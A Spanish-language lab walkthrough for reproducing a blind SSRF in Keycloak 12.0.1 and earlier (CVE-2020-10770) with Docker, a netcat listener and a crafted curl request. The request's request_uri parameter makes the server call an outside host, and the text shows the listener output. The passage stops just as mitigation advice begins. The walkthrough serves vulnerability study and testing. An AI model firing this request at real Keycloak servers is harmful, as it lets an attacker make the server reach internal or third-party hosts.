
Guía paso a paso para reproducir la vulnerabilidad de SSRF ciego en Keycloak (CVE-2020-10770) con configuración de Docker, configuración del listener y consejos de mitigación.
Este es un recorrido paso a paso sobre cómo probar el SSRF ciego (CVE-2020-10770) encontrado por Lauritz Holtmann y documentado en su entrada de blog.
También explicó brevemente cómo probarlo. Esto es solo una explicación más detallada.
Todo el crédito es para Lauritz.
Aquí uso Docker en Mac OSX.
Necesité tres shells: uno ejecutando la instancia de Keycloak, otro para el listener y otro para la petición curl.
Necesitas una instancia de Keycloak en ejecución con una versión <= 12.0.1.
Puedes iniciar una instancia de prueba con el siguiente comando.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
Visita http://localhost:8080/auth/admin/ en un navegador e inicia sesión con el nombre de usuario "admin" y la contraseña "admin".
En el lado izquierdo, cambia al menú "Clients". Esto te llevará a la vista general de Clients.

En el lado derecho, haz clic en "Create" para crear un nuevo cliente. Esto te llevará a la página de creación del cliente.

Elige un "Client ID" razonable para tu cliente Oauth2. Yo usaré "blueteamoauth2client" aquí (este es tu <Keycloak_Client_ID>). Si usas otro Client ID, tendrás que cambiar un parámetro de consulta en la petición HTTP del ataque. Haz clic en guardar para finalizar la configuración del cliente.

Ahora verás la configuración de nuestro nuevo cliente Oauth2.

Eso es todo para la parte del defensor.
Necesitas un listener que acepte la petición que queremos desencadenar con nuestro SSRF. Por lo tanto, la IP y el puerto deben ser alcanzables desde el servidor Keycloak.
No puedes usar localhost en este caso, porque desde el punto de vista de Keycloak, localhost estará dentro del propio contenedor.
Para recuperar la dirección IP en Mac OS puedes usar
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
Elegí iniciar el listener en mi sistema anfitrión en el puerto 4444.
nc -v -l 4444
En otra shell tienes que hacer una petición con curl. Tienes que cambiarla según tus requisitos.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
Las partes importantes son:
Entonces, la consulta en mi caso es
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
En el listener de netcat verás algo como esto.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
Eso significa que la instancia de Keycloak hizo una llamada HTTP a tu listener.
También habrá entradas sobre esto en los registros de Keycloak.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
Para mitigar esto, podrías hacer cualquiera de las siguientes opciones: